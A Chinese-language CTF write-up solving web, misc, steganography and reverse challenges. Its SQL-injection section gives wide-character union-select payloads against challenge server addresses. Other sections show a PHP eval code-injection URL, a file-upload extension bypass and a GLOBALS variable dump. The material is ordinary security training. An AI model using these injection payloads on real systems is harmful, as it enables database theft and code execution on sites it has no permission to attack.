web題
1.簽到題
第一道題加群,群公告里面有個flag
2.web2
打開網頁之后是一大群滑稽,聰明的人都能找到答案
,毫無疑問,應該是一道水題,果斷ctrl+u查看源代碼,發現flag是明文
3.文件上傳
上傳一個php文件,被攔截;上傳一個圖片文件,提示不是php文件,使用burpsuite,上傳一個圖片文件.png,被burp攔截下來之后,發送到repeater里面,修改文件后綴.png.php,response里面得到flag
4.計算題
題目出現了一個很簡單的驗證碼,只要輸入正確就可以獲得flag,但是嘗試后發現題目的輸入框只能輸入一個數字,果斷審查元素,發現了輸入框的最大長度被設置成了1,於是修改輸入框的maxlength屬性為5
輸入結果就可以了
5.web3
打開網頁之后瘋狂彈窗,按住回車,稍等片刻之后,查看源代碼,發現這個
發現一長串奇奇怪怪的字符,猜測應該是ascii碼,加密,所以理論上來說應該編寫腳本,但是水平不太夠,實際上就是懶得編,所以說手動對表得到flag
6.sql注入
http://103.238.227.13:10083/?id=1
使用了'
、'and 1=2',我擦我以為是盲注太刺激了。。。。。后來打開源碼看了下gbk編碼,考慮寬字符注入構造payloadhttp://103.238.227.13:10083/?id=1%df'
,成功了,就是寬字符注入。
http://103.238.227.13:10083/?id=1%df' order by 2
一共有兩列
http://103.238.227.13:10083/?id=1%df' union select 1,2--+
http://103.238.227.13:10083/?id=1%df' union select 1,database()--+
數據庫是sql5
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key--+
題目要求查詢string字段 查詢key表
ps:如果直接查詢key表的話key既是表名又是字段名,具體的原因可以這樣看
payload:http://103.238.227.13:10083/?id=1%df' union select 1,string from
key--+
http://103.238.227.13:10083/?id=1%df' union select 1,table_name from information_schema.tables--+
表名中有個key
http://103.238.227.13:10083/?id=1%df' union select 1,column_name from information_schema.columns--+
字段名中有個key
7.sql注入1
題目的過濾可以在關鍵詞中加入<>繞過
你必須讓他停下來
這個題目打開網頁之后,網頁會不斷的刷新,所以用burpsuite抓包讓他停下來,應該會出現flag
耐心抓,每次刷新都不一樣,終有一次會出來flag的,。
本地包含
eval存在執行漏洞,使用hello構造payload
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3
變量一
題目提示flag在變量里面,我們就要把所有的變量值都打印出來。看到題目使用了preg_match,使用正則匹配,變量名只能是字母或者數字的組合,最后輸出$$args,把$args的內容當做變量來處理,所以構造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS
得到flag
web4
提示查看源文件,查看源文件發現兩個變量的內容是url編碼,下面的eval里面使用了unescape函數解碼,所以直接使用url解碼,得到的字符串手動拼接就可以了
function checkSubmit()
{
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
document.getElementById("levelQuest").onsubmit=checkSubmit;```
所以在輸入框中輸入上面67d709b2b54aa2aa648cf6e87a7114f1,得到flag
## web5
查看源代碼,發現一長串,google/baidu得到這是jsfuck,在chrome里面運行jsfuck的腳本,立刻得到源代碼

## 變量一
題目提示flag在變量里面,我們就要把所有的變量值都打印出來。看到題目使用了preg_match,使用正則匹配,變量名只能是字母或者數字的組合,最后輸出$$args,把$args的內容當做變量來處理,所以構造payload
`http://120.24.86.145:8004/index1.php?args=GLOBALS` 得到flag
# misc
## 這只是一張單純的圖片?
,使用二進制查看圖片,發現圖片結尾不對勁,有兩個等於號,益達告訴我是base64加密,於是去晚上解密base64,果真得到了flag
## 隱寫2
下載之后是一張圖片,binwalk分寫了一下,果然是一張圖,沒啥特別的。。。。。。。。。


winhex打開,修改第二行第7列,由A4改為F4,就可以看到flag了。

## 又一張圖片,還單純嗎?

binwalk 跑一跑,發現里面應該還有一張圖片,所以用dd命令分離開,得到flag。


ocr識別就可以得到flag(出題人打錯了...),或者手動輸入
## reverse
## easy_vb
下載文件之后,直接拖到IDA之中,查看注釋之中就有flag,不多說了